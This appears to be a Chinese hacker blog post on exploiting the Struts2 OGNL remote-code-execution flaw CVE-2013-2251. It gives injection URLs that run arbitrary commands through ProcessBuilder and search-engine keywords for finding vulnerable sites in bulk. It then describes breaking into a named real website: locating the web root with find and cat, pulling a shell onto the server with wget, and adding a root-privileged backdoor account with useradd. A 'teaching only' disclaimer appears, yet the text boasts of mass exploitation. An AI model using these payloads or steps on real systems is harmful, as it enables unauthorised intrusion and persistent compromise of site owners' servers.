Struts2远程执行命令高危漏洞利用方法
	Struts2远程执行命令高危漏洞利用方法
		摘要: Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。
	描述
	影响版
	
Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。
描述
影响版本 Struts 2.0.0 – Struts 2.3.15
报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号 CVE-2013-2251
漏洞证明
参数会以OGNL表达式执行
http://host/struts2-blank/example/X.action?action:%25{3*4} http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
代码执行
http://host/struts2-blank/example/X.action?action:%25{(new+ java.lang.ProcessBuilder(new+java.lang.String[] {’command’,’goes’,’here’})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25 {(new+java.lang.ProcessBuilder(new+java.lang.String[] {’command’,’goes’,’here’})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%25 {(new+java.lang.ProcessBuilder(new+java.lang.String[] {’command’,’goes’,’here’})).start()}
漏洞原理
		The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation state changes by prefixing parameters with “action:” or
“redirect:”, followed by a desired navigational target expression. This
mechanism was intended to help with attaching navigational information
to buttons within forms.
	
		In Struts 2 before 2.3.15.1 the information following “action:”,
“redirect:” or “redirectAction:” is not properly sanitized. Since said
information will be evaluated as OGNL expression against the value
stack, this introduces the possibility to inject server side code.
	
以下仅供教学研究之用,严禁非法用途!
执行任意命令EXP,感谢X提供:
		 
	
爆网站路径EXP,感谢h4ck0r提供:
		 
  
	
python执行任意命令,感谢h4ck0r提供
		 
 
	
GETSHELL EXP,感谢coffee提供:
		 
 
	
然后用以下代码写shell:
		 
	
上前目录生成1.jsp
		使用Struts2远程命令执行漏洞利用工具:
	
这东西一开始下到还不会利用
这篇文章写的不错但是关键字不咋好用比较少
然后就开始了批量拿了并且自己和朋友也想了一些关键字
Inurl:index.action
Inurl:商城.achtion (商城比较多)
Inurl:index.achtion 标题:apache struts2 
Inurl:action?id=
没有NB的关键字 只有爱想的脑袋
关键字不唯一可能你多想想就能想出更牛的关键字
就开始利用吧
 
		 
	
		Struts2这个漏洞很多大站都存在 比如这个香港电视台的 
不过这个执行命令卡 我就换个搞过的吧 那样方便演示
	
		 
	
		一小站 http://www.laipin.com/
这个漏洞一般都是阿帕奇 linux的
所以我们直接读阿帕奇的配置文件我们可以直接用find 命令
	
		 
	
		
这样就会出现 那我们随便读个看看
	
		 
	
/home/httpd
		 
	
		读了后发现这2都是错误的也就是都错误的
不过我们有强大的 find的命令 
找这个找了一会   不过突然想到了 robots.txt
	
于是我
		 
	
		然后利用cat 一个一个去读 不过运气好
/usr/local/bakresin4/webapps/laipin/robots.txt
/usr/local/webapps/laipin/robots.txt
/usr/local/resin4/webapps/laipin/robots.txt
/usr/local/resin3/webapps/laipin/robots.txt
/usr/local/bak-resin4-bak/webapps/laipin/robots.txt
/var/laipin/robots.txt
/home/ftpfile/laipin/robots.txt
/home/ftpfile/lp/robots.txt
/home/httpd/laipin/robots.txt
/home/httpd/laipin2/robots.txt
	
第2个就是正确的 不过我全部读完了 确定就一个和网站的文件是匹配的
		既然找到了根目录
就想 写文件呀
我用了 
Echo bingdao test > /usr/local/webapps/laipin/1.txt (不成功)
Vi /usr/local/webapps/laipin/1.txt   (不成功)
Touch /usr/local/webapps/laipin/1.txt   (成功 但无法写入内容)
Mkdir /usr/local/webapps/laipin/123/  (成功 但无内容)
我后来仔细的想了想 也证实了 是由于cd命令执行不成功
但不明确是 不成功 还是无效果(好吧 没什么区别)
不过突然记起来了 wooyun一牛提交过某个远程代码执行漏洞
看了一下他的细节 发现是用的 wget 下载命令进行添加文件
 
	
		 
	
		下载成功后 发现不在根目录  
于是 mv 移动到根目录
 
	
		 
	
成功 不过发现了一件蛋疼的事 不解析
		 
	
useradd -u 0 -o -g root -G root -d /home/bingdao bingdao -p bingdao
		用户也能添加成功
目测工具的危害性,而且目前国内好多银行网站及涉密的网站,彩票平台都存在漏洞
这篇文章也就到这了 
全文没什么亮点 只是一种利用记录。。
这东西 有时运气好 渗透时就能秒杀… 平常也可以练下linux命令什么的还是不错
	
